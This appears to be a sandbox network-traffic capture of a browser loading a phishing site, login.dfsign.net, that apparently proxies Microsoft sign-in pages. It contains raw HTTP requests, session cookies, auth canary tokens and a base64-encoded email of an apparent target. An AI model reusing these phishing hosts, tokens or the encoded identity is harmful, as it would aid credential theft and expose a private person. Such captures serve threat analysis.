accept-ranges: bytes
2025-01-07 13:48:56 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2025-01-07 13:48:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49761	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:55 UTC	547	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:56 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:56 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: 74ce161f-b01e-0014-6482-5ffc86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134856Z-15464c697c5wj6tchC1FRA99eg00000006zg00000000dwe3 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:56 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2025-01-07 13:48:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49764	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:55 UTC	548	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:56 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:56 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: 9a644334-501e-0028-27e5-5a9d53000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134856Z-15464c697c5l84zxhC1FRA0kug0000000r200000000124g3 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:56 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2025-01-07 13:48:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49763	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:55 UTC	822	OUT	GET /470302df-b5027fcd.dfsign.net/winauth/ssoprobe?client-request-id=ee85291b-d42c-4604-ac80-bb2cfe8c29a4&_=1736257733011 HTTP/1.1 Host: 5eddaa21-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49765	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:56 UTC	776	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0 Sec-WebSocket-Key: 5njusNlEKh9GTCM1nXCxmQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:48:56 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:48:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 31e4194b-1264-4a4b-8457-c054c1ec2700 x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:48:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49767	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:56 UTC	727	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:57 UTC	811	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:56 GMT Content-Type: application/x-javascript Content-Length: 7403 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A5473D4300 x-ms-request-id: d63592bc-601e-0017-6495-601de2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134856Z-15464c697c55w8cvhC1FRA51p000000002s000000000y1rs x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:57 UTC	7403	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d 6d 77 db 36 b2 fe be bf 82 d6 ee 71 c8 2d cc d8 49 9b b6 74 59 1f bf c6 6a 1c 5b 6b 29 c9 b6 49 8e 0e 45 42 12 63 8a 60 49 c8 b2 6a eb bf ef 0c c0 77 82 b6 9c a4 7b 7b ef b9 ea a9 25 82 c0 60 30 98 19 3c 33 00 99 a7 ff dc f8 9b f6 4f 6d 6b fd 8f d6 1f ec 5f 0e b4 8b 13 6d 70 da bd 3c d2 7a 70 f5 ab 76 7e 31 e8 1e 1e af 4f 07 3b c5 ff 07 53 3f d1 c6 7e 40 35 f8 1e 39 09 f5 34 16 6a 2c d6 fc d0 65 71 c4 62 87 d3 44 9b c1 df d8 77 02 6d 1c b3 99 c6 a7 54 8b 62 f6 89 ba 3c d1 02 3f e1 d0 68 44 03 b6 d0 74 20 17 7b 5a cf 89 f9 52 eb f6 0c 13 e8 53 a0 e6 4f fc 10 5a bb 2c 5a c2 ef 29 d7 42 c6 7d 97 6a 4e e8 09 6a 01 5c 84 09 d5 e6 a1 47 63 6d 31 f5 dd a9 f6 da 77 63 96 b0 31 d7 62 ea 52 ff 1a 3a 49 e6 50 5e ed 82 68 4e 4c b5 Data Ascii: ]mw6q-ItYj[k)IEBc`Ijw{{%`0<3Omk_mp<zpv~1O;S?~@594j,eqbDwmTb<?hDt {ZRSOZ,Z)B}jNj\Gcm1wc1bR:IP^hNL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49766	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:56 UTC	1386	OUT	POST /common/instrumentation/dssostatus HTTP/1.1 Host: login.dfsign.net Connection: keep-alive Content-Length: 67 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: 3a2349f7-41be-412c-a623-67af1bf2f500 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: ee85291b-d42c-4604-ac80-bb2cfe8c29a4 canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe4qiQyyMlvrKIHLBBYDkwxZvWvTj4hateCrcnnDCCUwdM2_ElNeY28Q6Mu4rW8wLHV13TIFSzQMP04qvuSVfnRtq8Bt8cHdq76yjhfFl7456vrXHzPvMJSrPI0KvNIYyEihdRYo_z_ml9plwMtbwKMM4xjO6A9EZYKTePUSIU2aUFwV8VV7MgLdXteEvJ-R6TwyTbH35KCJx_aCEHwUg_rSAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 2101 sec-ch-ua-platform: "Windows" Origin: https://login.dfsign.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0
2025-01-07 13:48:56 UTC	67	OUT	Data Raw: 7b 22 72 65 73 75 6c 74 43 6f 64 65 22 3a 32 2c 22 73 73 6f 44 65 6c 61 79 22 3a 30 2c 22 6c 6f 67 22 3a 22 50 72 6f 62 65 20 69 6d 61 67 65 20 65 72 72 6f 72 20 65 76 65 6e 74 20 66 69 72 65 64 22 7d Data Ascii: {"resultCode":2,"ssoDelay":0,"log":"Probe image error event fired"}
2025-01-07 13:48:57 UTC	912	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:57 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache access-control-allow-origin: https://5eddaa21-b5027fcd.dfsign.net/ access-control-allow-credentials: true access-control-allow-methods: POST, OPTIONS p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" client-request-id: ee85291b-d42c-4604-ac80-bb2cfe8c29a4 x-ms-request-id: efbb50a3-c38c-4547-9741-d682726fb600 x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin
2025-01-07 13:48:57 UTC	272	IN	Data Raw: 31 30 39 0d 0a 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 44 43 7a 4d 35 61 32 66 6f 65 69 69 4a 37 54 44 4f 66 5a 4a 61 70 5f 34 4d 56 4f 68 50 79 54 39 31 59 62 74 59 59 32 62 33 57 74 57 75 67 4c 55 79 68 75 52 69 5f 36 6c 31 61 46 76 35 45 43 57 42 71 6a 71 37 53 6e 46 4b 30 4c 65 5f 75 6a 6d 77 32 37 4e 58 51 34 6e 76 49 78 30 73 61 4e 79 4e 78 35 61 55 49 6c 67 38 4d 6a 4e 75 68 42 36 4c 34 6d 79 77 41 58 59 74 4e 43 30 75 44 61 39 58 67 68 7a 6b 63 72 48 35 45 64 37 4f 6b 72 70 71 71 49 6a 30 43 70 68 4f 63 75 53 78 64 53 5f 52 4a 4a 78 4d 65 71 5a 66 5a 62 4e 49 37 44 76 4f 75 2d 51 46 4d 36 66 49 6e 77 61 68 35 46 63 7a 67 58 67 35 4b 66 42 47 5a 78 Data Ascii: 109{"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeDCzM5a2foeiiJ7TDOfZJap_4MVOhPyT91YbtYY2b3WtWugLUyhuRi_6l1aFv5ECWBqjq7SnFK0Le_ujmw27NXQ4nvIx0saNyNx5aUIlg8MjNuhB6L4mywAXYtNC0uDa9XghzkcrH5Ed7OkrpqqIj0CphOcuSxdS_RJJxMeqZfZbNI7DvOu-QFM6fInwah5FczgXg5KfBGZx
2025-01-07 13:48:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49768	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:57 UTC	552	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js HTTP/1.1 Host: 9676170e-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:58 UTC	811	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:58 GMT Content-Type: application/x-javascript Content-Length: 7403 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 15 Nov 2024 18:42:37 GMT etag: 0x8DD05A5473D4300 x-ms-request-id: 8e39ff5e-401e-0046-0e5c-58c87c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134857Z-1777998d8f96l7fhhC1DUS0g08000000125000000000bd3q x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-07 13:48:58 UTC	7403	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5d 6d 77 db 36 b2 fe be bf 82 d6 ee 71 c8 2d cc d8 49 9b b6 74 59 1f bf c6 6a 1c 5b 6b 29 c9 b6 49 8e 0e 45 42 12 63 8a 60 49 c8 b2 6a eb bf ef 0c c0 77 82 b6 9c a4 7b 7b ef b9 ea a9 25 82 c0 60 30 98 19 3c 33 00 99 a7 ff dc f8 9b f6 4f 6d 6b fd 8f d6 1f ec 5f 0e b4 8b 13 6d 70 da bd 3c d2 7a 70 f5 ab 76 7e 31 e8 1e 1e af 4f 07 3b c5 ff 07 53 3f d1 c6 7e 40 35 f8 1e 39 09 f5 34 16 6a 2c d6 fc d0 65 71 c4 62 87 d3 44 9b c1 df d8 77 02 6d 1c b3 99 c6 a7 54 8b 62 f6 89 ba 3c d1 02 3f e1 d0 68 44 03 b6 d0 74 20 17 7b 5a cf 89 f9 52 eb f6 0c 13 e8 53 a0 e6 4f fc 10 5a bb 2c 5a c2 ef 29 d7 42 c6 7d 97 6a 4e e8 09 6a 01 5c 84 09 d5 e6 a1 47 63 6d 31 f5 dd a9 f6 da 77 63 96 b0 31 d7 62 ea 52 ff 1a 3a 49 e6 50 5e ed 82 68 4e 4c b5 Data Ascii: ]mw6q-ItYj[k)IEBc`Ijw{{%`0<3Omk_mp<zpv~1O;S?~@594j,eqbDwmTb<?hDt {ZRSOZ,Z)B}jNj\Gcm1wc1bR:IP^hNL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49769	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:57 UTC	683	OUT	GET /common/instrumentation/dssostatus HTTP/1.1 Host: login.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020
2025-01-07 13:48:58 UTC	852	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:58 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache access-control-allow-origin: https://5eddaa21-b5027fcd.dfsign.net/ access-control-allow-credentials: true access-control-allow-methods: POST, OPTIONS p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 4e511248-6dcb-4fad-ace5-d2f1bd751802 x-ms-ests-server: 2.1.19683.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin
2025-01-07 13:48:58 UTC	170	IN	Data Raw: 61 34 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 66 64 30 65 35 30 35 36 2d 66 30 65 37 2d 34 38 30 61 2d 38 31 36 64 2d 32 66 64 61 31 33 37 34 31 32 37 38 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 35 2d 30 31 2d 30 37 20 31 33 3a 34 38 3a 35 38 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d 0d 0a Data Ascii: a4{"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"fd0e5056-f0e7-480a-816d-2fda13741278","timestamp":"2025-01-07 13:48:58Z","message":"AADSTS900561"}}
2025-01-07 13:48:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49770	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:48:58 UTC	810	OUT	GET /c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/favicon?ts=638615710500539949 HTTP/1.1 Host: 9b4922d2-b5027fcd.dfsign.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="
2025-01-07 13:48:58 UTC	778	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:48:58 GMT Content-Type: image/* Transfer-Encoding: chunked Connection: close cache-control: public, max-age=86400 last-modified: Tue, 10 Sep 2024 13:17:30 GMT etag: 0x8DCD19AEC846EE8 x-ms-request-id: 41697458-901e-0025-3a06-61f2d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250107T134858Z-15464c697c5b64kshC1FRAb73n0000000ru0000000009fs1 x-fd-int-roxy-purgeid: 0 x-cache-info: L2_T2 x-cache: TCP_REMOTE_HIT accept-ranges: bytes
